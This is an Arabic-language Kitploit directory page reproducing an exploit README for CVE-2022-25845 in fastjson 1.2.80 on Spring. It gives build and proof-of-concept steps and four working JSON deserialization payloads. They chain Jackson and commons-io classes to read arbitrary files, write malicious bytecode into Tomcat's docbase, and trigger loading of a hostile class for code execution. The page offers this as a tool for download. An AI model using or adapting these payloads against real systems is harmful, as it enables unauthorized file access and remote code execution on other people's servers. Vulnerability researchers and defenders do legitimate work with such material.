Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-25845-In-Spring — استغلال CVE-2022-25845 (fastjson 1.2.80) لبيئات Spring مع PoC خطوة بخطوة، وقراءة الملفات، وكتابة ملفات عشوائية عبر سلاسل إلغاء التسلسل Jackson/commons-io. | Kitploit
أدوات/GitHubGitHub/luelueking/cve-2022-25845-in-spring
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubluelueking/cve-2022-25845-in-spring

CVE-2022-25845-In-Spring

استغلال CVE-2022-25845 (fastjson 1.2.80) لبيئات Spring مع PoC خطوة بخطوة، وقراءة الملفات، وكتابة ملفات عشوائية عبر سلاسل إلغاء التسلسل Jackson/commons-io.

عرض المستودع
108134منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-25845-In-Spring

التبعيات الرئيسية

  1. jackson
  2. commons-io

إعادة الإنتاج السريع

  1. استيراد المشروع في idea وتنفيذ البناء mvn install
  2. بناء Dockerfile وتشغيله docker build .
  3. شغّل src/test/java/POC.java لتنفيذ الأمر touch /tmp/pwned

تعليمات الاستغلال

الخطوة 1: إضافة java.io.InputStream إلى ذاكرة التخزين المؤقت لـ autotype في fastjson

root@kitploit:~
{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

截屏2024-11-07 21.36.27

الخطوة 2: قراءة محتويات /tmp عبر بروتوكول file للحصول على اسم ملف docbase الخاص بـ tomcat

قراءة المحتوى بايتًا ببايت

root@kitploit:~
{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${file}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": ${data}
        }
      ]
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [1]
      }
    ]
  },
  "b": {"$ref":"$.a.delegate"}
}

截屏2024-11-07 21.35.56

الخطوة 3: كتابة الكود البايتي الخبيث إلى دليل docbase

root@kitploit:~
{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.CharSequenceInputStream",
        "cs": {
          "@type": "java.lang.String"
          "${shellcode}",
          "charset": "iso-8859-1",
          "bufferSize": ${size}
        },
        "branch": {
          "@type": "org.apache.commons.io.output.WriterOutputStream",
          "writer": {
            "@type": "org.apache.commons.io.output.LockableFileWriter",
            "file": "${file2write}",
            "charset": "iso-8859-1",
            "append": true
          },
          "charset": "iso-8859-1",
          "bufferSize": 1024,
          "writeImmediately": true
        },
        "closeBranch": true
      }
    },
    "b": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "inputStream": {
          "$ref": "$.a"
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "iso-8859-1"
      },
      "charsetName": "iso-8859-1",
      "bufferSize": 1024
    },
    "c": {}
  }

截屏2024-11-07 21.37.04

الخطوة 4: تحفيز تحميل الفئة الخبيثة

root@kitploit:~
{
  "@type":"java.lang.Exception",
  "@type":"com.chenzai.HackException"
}

截屏2024-11-07 21.35.32

المراجع/الشكر

  • GeekCon 2024
  • jsjcw
تنزيل الأداة